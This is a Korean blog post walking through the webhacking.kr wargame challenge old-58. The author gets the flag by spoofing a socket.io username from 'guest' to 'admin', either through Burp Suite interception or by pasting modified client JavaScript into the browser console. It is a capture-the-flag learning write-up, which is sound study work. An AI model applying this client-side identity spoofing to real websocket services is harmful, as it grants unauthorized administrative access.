본문 바로가기

Wargame(hacking)/webhacking.kr

Webhacking.kr : old-58

 

< 문제 해결 >

 

그림 1

 

입력 폼에 help 명령을 통해, 어떤 명령어를 입력할 수 있는지 확인하였고, flag 명령을 send 해 보았다. 

 

 

그림 2

 

flag 명령을 send 하면, 그림 2와 같이 Permission denied 란 결과가 나오며, admin 만이 flag 명령을 사용할 수 있다는 것을 확인할 수 있다. 

 

그림 3

 

그림 3과 같이 버프슈트를 통해, guest -> admin 으로 변경 후 socket 통신을 진행한다.

 

그림 4

 

그 결과 FLAG가 출력되는 것을 확인할 수 있다. 

 

 

< 다른 방법 >

 

 

 < 코드 1 >
 $(function () {
      var username = "guest";
      var socket = io();
      $('form').submit(function(e){
        e.preventDefault();
        socket.emit('cmd',username+":"+$('#m').val());
        $('#m').val('');
        return false;
      });
      socket.on('cmd', function(msg){
        $('#messages').append($('<li>').text(msg));
      });
    });

 

코드 1과 같이 username이 guest로 선언되어 있다. 이를 아래 코드 2와 같이 변경 후 콘솔 창에 입력하여 함수를 변경해준다. 

 

 < 코드 2 >
 $(function () {
      var username = "admin";
      var socket = io();
      $('form').submit(function(e){
        e.preventDefault();
        socket.emit('cmd',username+":flag");
        $('#m').val('');
        return false;
      });
      socket.on('cmd', function(msg){
        $('#messages').append($('<li>').text(msg));
      });
    });

 

그런 후 send를 누르게 되면, 위 코드 2에서 socket.emit() 한대로, flag가 출력되어 진다. 

 

 

한줄 평 : flag 명령은 도저히 생각을... 센스가 많이 부족한듯 싶다... 그래도 덕분에 socket 공부를.!

 

 

 

< 참고 >

 

https://sseoui.tistory.com/93

 

https://inpa.tistory.com/entry/SOCKET-%F0%9F%93%9A-SocketIO-%EC%82%AC%EC%9A%A9-%ED%95%B4%EB%B3%B4%EA%B8%B0

 

https://doqtqu.tistory.com/347

 

https://www.cobalt.io/blog/web-socket-vulnerabilites